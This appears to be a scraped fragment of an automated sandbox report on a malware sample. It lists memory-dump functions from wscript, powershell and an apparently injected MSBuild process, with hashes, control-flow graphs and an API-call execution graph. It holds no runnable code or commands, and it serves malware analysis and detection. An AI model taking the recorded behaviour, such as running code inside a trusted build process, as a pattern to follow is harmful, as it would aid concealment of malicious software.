                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
                                                                          • Instruction ID: 5ed74eb4f21e6ecd49c0f3bd4657cade1dd94748a0c8a0ff224e4cf26bc5769a
                                                                          • Opcode Fuzzy Hash: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
                                                                          • Instruction Fuzzy Hash: B841E1717287854B8B4CDA2D949163A77D5E7CD304F14463DFA8BC3381E938ED128786
                                                                          Function 00000205940974E8 Relevance: .1, Instructions: 146COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
                                                                          • Instruction ID: 6261894d0c5548588c453f5b78c5379b429439310320021e13005a6674f4e78d
                                                                          • Opcode Fuzzy Hash: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
                                                                          • Instruction Fuzzy Hash: BB41B771519F1DCFD7A8AE68908DB7BB2E1FB45300F50052DD686C7293E670DC468E89
                                                                          Function 007DC2E8 Relevance: .1, Instructions: 146COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
                                                                          • Instruction ID: 533dd24bf6247faf0d28395c1237102a610d05d9e192862de3eec57d400438fd
                                                                          • Opcode Fuzzy Hash: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
                                                                          • Instruction Fuzzy Hash: E441E67150DB4E8FD728EF699085676B3F1FB49300F50462ED98AC3352EB78E8428786
                                                                          Function 00000205940A5257 Relevance: .1, Instructions: 137COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
                                                                          • Instruction ID: e5ece78c3c550b45caba991c2e6bfdfd0eae1cc4fd35a264a56480bd6c08b774
                                                                          • Opcode Fuzzy Hash: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
                                                                          • Instruction Fuzzy Hash: 7B41D031B287548BD74CCA2C949962A73D2F38D304F24863DF68BC7382D920DD028B85
                                                                          Function 007EA057 Relevance: .1, Instructions: 137COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
                                                                          • Instruction ID: 16489ac5c3d194374d9e6396738a5772a54836034ed59d739545d77d25e598cb
                                                                          • Opcode Fuzzy Hash: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
                                                                          • Instruction Fuzzy Hash: 5541A2717286854BD75CCA2D989163A77D6E7CC304F24863DFA8BC3381E938ED138686

                                                                          Executed Functions

                                                                          Function 00007FFB49D737B5 Relevance: .0, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000004.00000002.2113770127.00007FFB49D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49D70000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_4_2_7ffb49d70000_powershell.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                          • Instruction ID: 5b603a29703795d8767c2df5c39b1048e6a7f24c2b9c4eb96e10a329c524e79b
                                                                          • Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                          • Instruction Fuzzy Hash: E001677111CB0D4FD744EF0CE451AA6B7E0FB95364F10056EE58AC3695D636E882CB45

                                                                          Execution Graph

                                                                          Execution Coverage:1.5%
                                                                          Dynamic/Decrypted Code Coverage:5.5%
                                                                          Signature Coverage:2.8%
                                                                          Total number of Nodes:145
                                                                          Total number of Limit Nodes:10
                                                                          execution_graph 80238 42fc43 80239 42fc53 80238->80239 80240 42fc59 80238->80240 80243 42ec83 80240->80243 80242 42fc7f 80246 42ce23 80243->80246 80245 42ec9e 80245->80242 80247 42ce40 80246->80247 80248 42ce4e RtlAllocateHeap 80247->80248 80248->80245 80257 425123 80258 42513c 80257->80258 80259 4251cc 80258->80259 80260 425184 80258->80260 80263 4251c7 80258->80263 80265 42eba3 80260->80265 80264 42eba3 RtlFreeHeap 80263->80264 80264->80259 80268 42ce73 80265->80268 80267 425194 80269 42ce8d 80268->80269 80270 42ce9b RtlFreeHeap 80269->80270 80270->80267 80271 42c123 80272 42c13d 80271->80272 80275 1392df0 LdrInitializeThunk 80272->80275 80273 42c162 80275->80273 80310 424d93 80311 424daf 80310->80311 80312 424dd7 80311->80312 80313 424deb 80311->80313 80314 42cb03 NtClose 80312->80314 80315 42cb03 NtClose 80313->80315 80316 424de0 80314->80316 80317 424df4 80315->80317 80320 42ecc3 RtlAllocateHeap 80317->80320 80319 424dff 80320->80319 80276 415d03 80277 415d28 80276->80277 80282 417b53 80277->80282 80280 415d86 80283 417b77 80282->80283 80284 417bb3 LdrLoadDll 80283->80284 80285 415d5e 80283->80285 80284->80285 80285->80280 80286 4198c3 80285->80286 80287 4198f6 80286->80287 80288 41991a 80287->80288 80293 42c663 80287->80293 80288->80280 80290 41993d 80290->80288 80297 42cb03 80290->80297 80292 4199bd 80292->80280 80294 42c67d 80293->80294 80300 1392ca0 LdrInitializeThunk 80294->80300 80295 42c6a6 80295->80290 80298 42cb1d 80297->80298 80299 42cb2b NtClose 80298->80299 80299->80292 80300->80295 80301 414383 80302 41439d 80301->80302 80303 417b53 LdrLoadDll 80302->80303 80304 4143bb 80303->80304 80305 414400 80304->80305 80306 4143ef PostThreadMessageW 80304->80306 80306->80305 80321 41e853 80322 41e879 80321->80322 80326 41e970 80322->80326 80327 42fd73 80322->80327 80324 41e90e 80324->80326 80333 42c173 80324->80333 80328 42fce3 80327->80328 80329 42fd40 80328->80329 80330 42ec83 RtlAllocateHeap 80328->80330 80329->80324 80331 42fd1d 80330->80331 80332 42eba3 RtlFreeHeap 80331->80332 80332->80329 80334 42c18d 80333->80334 80337 1392c0a 80334->80337 80335 42c1b6 80335->80326 80338 1392c1f LdrInitializeThunk 80337->80338 80339 1392c11 80337->80339 80338->80335 80339->80335 80340 413e13 80343 42cd93 80340->80343 80344 42cdb0 80343->80344 80347 1392c70 LdrInitializeThunk 80344->80347 80345 413e35 80347->80345 80348 401b77 80349 401b94 80348->80349 80352 430113 80349->80352 80355 42e753 80352->80355 80356 42e779 80355->80356 80367 4070b3 80356->80367 80358 42e78f 80366 401bcd 80358->80366 80370 41b463 80358->80370 80360 42e7ae 80363 42e7c3 80360->80363 80385 42ceb3 80360->80385 80381 428683 80363->80381 80364 42e7dd 80365 42ceb3 ExitProcess 80364->80365 80365->80366 80369 4070c0 80367->80369 80388 416803 80367->80388 80369->80358 80371 41b48f 80370->80371 80399 41b353 80371->80399 80374 41b4d4 80375 41b4f0 80374->80375 80379 42cb03 NtClose 80374->80379 80375->80360 80376 41b4bc 80377 41b4c7 80376->80377 80378 42cb03 NtClose 80376->80378 80377->80360 80378->80377 80380 41b4e6 80379->80380 80380->80360 80383 4286e4 80381->80383 80382 4286f1 80382->80364 80383->80382 80410 4189b3 80383->80410 80386 42cecd 80385->80386 80387 42cede ExitProcess 80386->80387 80387->80363 80389 416820 80388->80389 80391 416836 80389->80391 80392 42d553 80389->80392 80391->80369 80394 42d56d 80392->80394 80393 42d59c 80393->80391 80394->80393 80395 42c173 LdrInitializeThunk 80394->80395 80396 42d5f6 80395->80396 80397 42eba3 RtlFreeHeap 80396->80397 80398 42d60f 80397->80398 80398->80391 80400 41b36d 80399->80400 80404 41b449 80399->80404 80405 42c203 80400->80405 80403 42cb03 NtClose 80403->80404 80404->80374 80404->80376 80406 42c220 80405->80406 80409 13935c0 LdrInitializeThunk 80406->80409 80407 41b43d 80407->80403 80409->80407 80411 4189dd 80410->80411 80417 418eeb 80411->80417 80418 413ff3 80411->80418 80413 418b0a 80414 42eba3 RtlFreeHeap 80413->80414 80413->80417 80415 418b22 80414->80415 80416 42ceb3 ExitProcess 80415->80416 80415->80417 80416->80417 80417->80382 80420 414013 80418->80420 80421 41407c 80420->80421 80423 41b773 80420->80423 80421->80413 80426 41b798 80423->80426 80424 414072 80424->80413 80426->80424 80427 42eba3 RtlFreeHeap 80426->80427 80428 41b5b3 LdrInitializeThunk 80426->80428 80427->80426 80428->80426 80307 419108 80308 42cb03 NtClose 80307->80308 80309 419112 80308->80309 80429 1392b60 LdrInitializeThunk

                                                                          Executed Functions

                                                                          Function 00417B53 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 112 417b53-417b7c call 42f783 115 417b82-417b90 call 42fd83 112->115 116 417b7e-417b81 112->116 119 417ba0-417bb1 call 42e223 115->119 120 417b92-417b9d call 430023 115->120 125 417bb3-417bc7 LdrLoadDll 119->125 126 417bca-417bcd 119->126 120->119 125->126
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                                                          • Instruction ID: cff81ac32cb72360c3ac4950556065fa39e45470c75b7dccc426fadd218cfce5
                                                                          • Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                                                          • Instruction Fuzzy Hash: 240171B1E0420DBBDF10DBE5DC52FDEB3789B54308F4081AAE90897240F634EB588B95
                                                                          Function 0042CB03 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 137 42cb03-42cb39 call 404673 call 42dd33 NtClose
                                                                          APIs
                                                                          • NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042CB34
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Close
                                                                          • String ID:
                                                                          • API String ID: 3535843008-0
                                                                          • Opcode ID: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
                                                                          • Instruction ID: ba9035e57b49a5b789f2e9b5fc8dfb0460036ce468971b6eb964efb3b90a8674
                                                                          • Opcode Fuzzy Hash: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
                                                                          • Instruction Fuzzy Hash: 8EE04F312002147BC120AE5ADC01F97776CDBC5714F40445AFA0867242C775B90586B5
                                                                          Function 013935C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 1d9cac39d44b0b58d2998c6013f9c15776d01e32050135424077ffa3ae8e5779
                                                                          • Instruction ID: 9eb7ceefee369cdea40d228d93f8d639d43af6248c8c9af65430fdee15c0a0e2
                                                                          • Opcode Fuzzy Hash: 1d9cac39d44b0b58d2998c6013f9c15776d01e32050135424077ffa3ae8e5779
                                                                          • Instruction Fuzzy Hash: BA900275B0550402E100719C45287061005D7D0206FA5C451A0424568DC7958A5566A2
                                                                          Function 01392B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 151 1392b60-1392b6c LdrInitializeThunk
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                                                                          • Instruction ID: 54a94143255f7bc2a3254bdae96c69da31920ee960dee43c8729d1ec4aa2afd0
                                                                          • Opcode Fuzzy Hash: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                                                                          • Instruction Fuzzy Hash: 249002A5702400039105719C4428616400AD7E0206B95C061E1014590DC52589956225
                                                                          Function 01392DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                                                                          • Instruction ID: f193408a96201cc406d6266fe2dc7023656c9b259da8def7772700b1ec20108f
                                                                          • Opcode Fuzzy Hash: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                                                                          • Instruction Fuzzy Hash: 9890027570140413E111719C45187070009D7D0246FD5C452A0424558DD6568A56A221
                                                                          Function 01392C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 152 1392c70-1392c7c LdrInitializeThunk
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                                                                          • Instruction ID: 715e9fe4aa3288be8eb4ff8cccbe8c5c67837b29eccb0878c366be8cdb5b50a0
                                                                          • Opcode Fuzzy Hash: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                                                                          • Instruction Fuzzy Hash: 4090027570148802E110719C841874A0005D7D0306F99C451A4424658DC69589957221
                                                                          Function 01392CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                                                                          • Instruction ID: acf212e65f20ca05c946b0713bd22930c0a88c629d68c4061e180417cff59a71
                                                                          • Opcode Fuzzy Hash: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                                                                          • Instruction Fuzzy Hash: BC90027570140402E10075DC541C6460005D7E0306F95D051A5024555EC66589956231
                                                                          Function 01392F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                                                                          • Instruction ID: e31db196d671ee527d71b97b8d553466959cd3cf3867f86f9f3a765c9b3251cb
                                                                          • Opcode Fuzzy Hash: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                                                                          • Instruction Fuzzy Hash: 3C90027570180402E100719C482870B0005D7D0307F95C051A1164555DC62589556671
                                                                          Function 00414378 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64threadwindowCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: MessagePostThread
                                                                          • String ID: 4789071F$4789071F$#U
                                                                          • API String ID: 1836367815-4022187411
                                                                          • Opcode ID: bdc1de7847b4fb16345e3f794f62c053428f8a759900698bcce9c4fc26c12a83
                                                                          • Instruction ID: 0e2d3ecc4f3d0f07fd2a09dab770b023fbfbb3c6726e30d271a355b0b5feb86e
                                                                          • Opcode Fuzzy Hash: bdc1de7847b4fb16345e3f794f62c053428f8a759900698bcce9c4fc26c12a83
                                                                          • Instruction Fuzzy Hash: 9D11E9B2D0115C7EDB11ABE19C82DEF7B7CDF80758F448069FA1467241D5384E0687E1
                                                                          Function 00414308 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107threadwindowCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 14 414308-414316 15 414366-41436e 14->15 16 414318-414324 14->16 17 414370-414377 15->17 18 4143ce-4143ed 15->18 19 414380-414395 16->19 20 414326-414338 16->20 21 41440d-414413 18->21 22 4143ef-4143fe PostThreadMessageW 18->22 23 41439d-4143c2 call 42f653 call 417b53 call 4045e3 19->23 24 414398 call 42ec43 19->24 25 414307 20->25 26 41433a-41433e 20->26 22->21 28 414400-41440a 22->28 38 4143c7-4143ed call 425263 23->38 24->23 25->14 29 414340-414342 26->29 30 4143b8-4143bb 26->30 28->21 32 4143bd-4143c0 29->32 33 414344 29->33 30->32 32->38 39 4143c2 call 4045e3 32->39 33->15 38->21 38->22 39->38
                                                                          APIs
                                                                          • PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: MessagePostThread
                                                                          • String ID: 4789071F$4789071F
                                                                          • API String ID: 1836367815-3950601534
                                                                          • Opcode ID: 78359790b95226ea04be1a2bb8184a0a9cd1537a66412848d3fdb8bf1f548c67
                                                                          • Instruction ID: cc53f823d8dfc0b45ef7b9f8de6580349de30d18372f7ad225674a21dd890d50
                                                                          • Opcode Fuzzy Hash: 78359790b95226ea04be1a2bb8184a0a9cd1537a66412848d3fdb8bf1f548c67
                                                                          • Instruction Fuzzy Hash: 6D315072A0118D7FDB11EBA5DC81DDF7B78EF81358B4441AEF804D7142D2385E468795
                                                                          Function 00414383 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60threadwindowCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 42 414383-414395 43 41439d-4143ed call 42f653 call 417b53 call 4045e3 call 425263 42->43 44 414398 call 42ec43 42->44 53 41440d-414413 43->53 54 4143ef-4143fe PostThreadMessageW 43->54 44->43 54->53 55 414400-41440a 54->55 55->53
                                                                          APIs
                                                                          • PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: MessagePostThread
                                                                          • String ID: 4789071F$4789071F
                                                                          • API String ID: 1836367815-3950601534
                                                                          • Opcode ID: 1a784243e21fd54dc545d600bee99c5129cb96a11552e9cd6bfdcba40e9bdccc
                                                                          • Instruction ID: 65ee05b1a01d88756ff80e197dafe2d6756dff3dc722b98f382466506fc213f6
                                                                          • Opcode Fuzzy Hash: 1a784243e21fd54dc545d600bee99c5129cb96a11552e9cd6bfdcba40e9bdccc
                                                                          • Instruction Fuzzy Hash: EA01C4B1D0115C7ADB11AAE19C82DEF7B7CDF80798F44806AFA1467241D6385E068BB5
                                                                          Function 00417BED Relevance: 1.6, APIs: 1, Instructions: 66libraryloaderCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 88 417bed-417bfd 89 417b96-417bb1 call 42e223 88->89 90 417bff 88->90 99 417bb3-417bc7 LdrLoadDll 89->99 100 417bca-417bcd 89->100 91 417c01-417c02 90->91 92 417c56 90->92 94 417c26-417c52 92->94 95 417c58-417c6e 92->95 94->92 99->100
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
                                                                          • Instruction ID: fdd1673baecdba0cb85ff3e44e7a2cc4aea26df2d36a71aaa7c4bce748f2a361
                                                                          • Opcode Fuzzy Hash: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
                                                                          • Instruction Fuzzy Hash: 29118071508647AFCB00EBA8D845EDDBBB1FB05308F18469EE694C7247E330A656C786
                                                                          Function 00417C04 Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 101 417c04-417c1c 102 417ba2-417ba3 101->102 103 417c1e-417c24 101->103 104 417ba9-417bb1 102->104 105 417ba4 call 42e223 102->105 106 417c26-417c56 103->106 108 417bb3-417bc7 LdrLoadDll 104->108 109 417bca-417bcd 104->109 105->104 111 417c58-417c6e 106->111 108->109
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: cc8a6b35f9b06c9bcd1abd51de4572752eb33230937752413e5eabfb53e9cb37
                                                                          • Instruction ID: 15684ca63856f2ce53043c4ffa10e50dccb7a9086da29da0e7077bbd191f691f
                                                                          • Opcode Fuzzy Hash: cc8a6b35f9b06c9bcd1abd51de4572752eb33230937752413e5eabfb53e9cb37
                                                                          • Instruction Fuzzy Hash: 0E0147B180460BEBCF00EEB8D981EDCBBF0FB14308F144299E98497206E730B655CB81
                                                                          Function 0042CE73 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 132 42ce73-42ceb1 call 404673 call 42dd33 RtlFreeHeap
                                                                          APIs
                                                                          • RtlFreeHeap.NTDLL(00000000,00000004,00000000,6ED9EBA1,00000007,00000000,00000004,00000000,004173CD,000000F4), ref: 0042CEAC
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: FreeHeap
                                                                          • String ID:
                                                                          • API String ID: 3298025750-0
                                                                          • Opcode ID: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
                                                                          • Instruction ID: b9ca338e60bd2b7943d9d7f0314c95f70423a11a6c33ef79f219f8aa7d44deaa
                                                                          • Opcode Fuzzy Hash: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
                                                                          • Instruction Fuzzy Hash: EDE06D712042047BC614EE59EC41E9B73ACDFC5714F000419FA08A7281DA75B911CBB8
                                                                          Function 0042CE23 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 127 42ce23-42ce64 call 404673 call 42dd33 RtlAllocateHeap
                                                                          APIs
                                                                          • RtlAllocateHeap.NTDLL(?,0041E90E,?,?,00000000,?,0041E90E,?,?,?), ref: 0042CE5F
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: AllocateHeap
                                                                          • String ID:
                                                                          • API String ID: 1279760036-0
                                                                          • Opcode ID: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
                                                                          • Instruction ID: 2b5b20150f49385b7742a7a5713349b9e5883766a4ace5a7f153605199b15d46
